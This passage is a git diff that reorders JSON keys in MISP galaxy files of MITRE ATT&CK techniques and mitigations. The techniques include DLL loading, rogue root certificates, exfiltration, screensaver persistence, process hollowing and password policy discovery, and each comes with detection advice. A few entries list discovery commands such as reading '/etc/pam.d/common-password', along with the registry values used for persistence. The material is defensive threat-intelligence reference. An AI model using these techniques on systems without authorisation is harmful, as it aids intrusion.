"description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nContributors: Stefan Kanthak",
- "value": "Execution through Module Load",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
@@ -4991,11 +4996,6 @@
"File monitoring",
"DLL monitoring"
],
- "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1129",
- "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -5009,24 +5009,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1129",
+ "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
+ ],
+ "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65"
+ },
+ "value": "Execution through Module Load"
},
{
"description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Install Root Certificate",
"meta": {
"mitre_data_sources": [
"SSL/TLS inspection",
"Digital Certificate Logs"
],
- "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1130",
- "https://en.wikipedia.org/wiki/Root%20certificate",
- "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
- "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -5041,12 +5039,19 @@
"Windows 8.1",
"Linux",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1130",
+ "https://en.wikipedia.org/wiki/Root%20certificate",
+ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
+ "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/"
+ ],
+ "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1"
+ },
+ "value": "Install Root Certificate"
},
{
"description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring",
- "value": "Data Transfer Size Limits",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -5054,11 +5059,6 @@
"Process use of network",
"Process monitoring"
],
- "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1030",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -5075,15 +5075,15 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1030",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd"
+ },
+ "value": "Data Transfer Size Limits"
}
],
- "authors": [
- "MITRE"
- ],
- "type": "mitre-attack-pattern",
- "name": "Attack Pattern",
- "uuid": "dcb864dc-775f-11e7-9fbb-1f41b4996683",
- "source": "https://github.com/mitre/cti"
+ "version": 4
}
diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json
index aac1219..c8f9767 100644
--- a/clusters/mitre-course-of-action.json
+++ b/clusters/mitre-course-of-action.json
@@ -1,6 +1,12 @@
{
- "version": 5,
+ "authors": [
+ "MITRE"
+ ],
+ "description": "ATT&CK Mitigation",
+ "name": "Course of Action",
"source": "https://github.com/mitre/cti",
+ "type": "mitre-course-of-action",
+ "uuid": "a8825ae8-6dea-11e7-8d57-7728f3cfe086",
"values": [
{
"description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].",
@@ -1151,11 +1157,5 @@
"value": "Security Software Discovery Mitigation"
}
],
- "authors": [
- "MITRE"
- ],
- "name": "Course of Action",
- "description": "ATT&CK Mitigation",
- "type": "mitre-course-of-action",
- "uuid": "a8825ae8-6dea-11e7-8d57-7728f3cfe086"
+ "version": 5
}
diff --git a/clusters/mitre-enterprise-attack-attack-pattern.json b/clusters/mitre-enterprise-attack-attack-pattern.json
index 39e85a1..8e79664 100644
--- a/clusters/mitre-enterprise-attack-attack-pattern.json
+++ b/clusters/mitre-enterprise-attack-attack-pattern.json
@@ -1,22 +1,16 @@
{
- "name": "Enterprise Attack - Attack Pattern",
- "type": "mitre-enterprise-attack-attack-pattern",
- "description": "ATT&CK tactic",
- "version": 4,
- "source": "https://github.com/mitre/cti",
- "uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640",
"authors": [
"MITRE"
],
+ "description": "ATT&CK tactic",
+ "name": "Enterprise Attack - Attack Pattern",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-attack-pattern",
+ "uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640",
"values": [
{
"description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
- "value": "Exfiltration Over Alternative Protocol - T1048",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1048",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1048",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -33,18 +27,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1048",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776"
+ "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "value": "Exfiltration Over Alternative Protocol - T1048"
},
{
"description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
- "value": "Standard Application Layer Protocol - T1071",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1071",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1071",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -60,17 +54,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1071",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6"
+ "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
+ "value": "Standard Application Layer Protocol - T1071"
},
{
"description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
- "value": "Communication Through Removable Media - T1092",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1092"
- ],
"external_id": "T1092",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -83,19 +78,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1092"
]
},
- "uuid": "64196062-5210-42c3-9a02-563a0d1797ef"
+ "uuid": "64196062-5210-42c3-9a02-563a0d1797ef",
+ "value": "Communication Through Removable Media - T1092"
},
{
"description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nCommon information repositories:\n\n===Microsoft SharePoint===\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n===Atlassian Confluence===\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.\n\nDetection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs\n\nPermissions Required: User\n\nContributors: Milos Stojadinovic",
- "value": "Data from Information Repositories - T1213",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1213",
- "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
- "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
- ],
"external_id": "T1213",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -110,19 +103,19 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1213",
+ "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
+ "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
]
},
- "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416"
+ "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
+ "value": "Data from Information Repositories - T1213"
},
{
"description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\\Windows\\System32\\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n*SCRNSAVE.exe - set to malicious PE path\n*ScreenSaveActive - set to '1' to enable the screensaver\n*ScreenSaverIsSecure - set to '0' to not require a password to unlock\n*ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
- "value": "Screensaver - T1180",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1180",
- "https://en.wikipedia.org/wiki/Screensaver",
- "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
- ],
"external_id": "T1180",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -135,19 +128,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1180",
+ "https://en.wikipedia.org/wiki/Screensaver",
+ "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
]
},
- "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae"
+ "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+ "value": "Screensaver - T1180"
},
{
"description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n===Windows===\n* net accounts\n* net accounts /domain\n\n===Linux===\n* chage -l \n* cat /etc/pam.d/common-password\n\n===macOS===\n* pwpolicy getaccountpolicies\n\nDetection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
- "value": "Password Policy Discovery - T1201",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1201",
- "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
- "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
- ],
"external_id": "T1201",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -160,18 +153,19 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1201",
+ "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
+ "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
]
},
- "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5"
+ "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
+ "value": "Password Policy Discovery - T1201"
},
{
"description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Custom Command and Control Protocol - T1094",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1094",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1094",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -186,19 +180,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1094",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00"
+ "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00",
+ "value": "Custom Command and Control Protocol - T1094"
},
{
"description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
- "value": "File System Permissions Weakness - T1044",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1044",
- "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
- "http://seclists.org/fulldisclosure/2015/Dec/34"
- ],
"external_id": "T1044",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -211,19 +204,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1044",
+ "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
+ "http://seclists.org/fulldisclosure/2015/Dec/34"
]
},
- "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a"
+ "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a",
+ "value": "File System Permissions Weakness - T1044"
},
{
"description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User",
- "value": "Process Hollowing - T1093",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1093",
- "http://www.autosectools.com/process-hollowing.pdf",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
- ],
"external_id": "T1093",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -234,22 +227,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1093",
+ "http://www.autosectools.com/process-hollowing.pdf",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
- "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21"
+ "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21",
+ "value": "Process Hollowing - T1093"
},
{
"description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention\n\nPermissions Required: User",
- "value": "Scripting - T1064",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1064",
- "http://www.metasploit.com",
- "https://www.veil-framework.com/framework/",
- "https://github.com/mattifestation/PowerSploit",
- "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
- "https://www.uperesia.com/analyzing-malicious-office-documents"
- ],
"external_id": "T1064",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -264,18 +254,22 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1064",
+ "http://www.metasploit.com",
+ "https://www.veil-framework.com/framework/",
+ "https://github.com/mattifestation/PowerSploit",
+ "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
+ "https://www.uperesia.com/analyzing-malicious-office-documents"
]
},
- "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44"
+ "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44",
+ "value": "Scripting - T1064"
},
{
"description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
- "value": "AppleScript - T1155",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1155",
- "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
- ],
"external_id": "T1155",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -289,17 +283,18 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1155",
+ "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
]
},
- "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b"
+ "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b",
+ "value": "AppleScript - T1155"
},
{
"description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
- "value": "Data from Removable Media - T1025",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1025"
- ],
"external_id": "T1025",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -313,21 +308,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
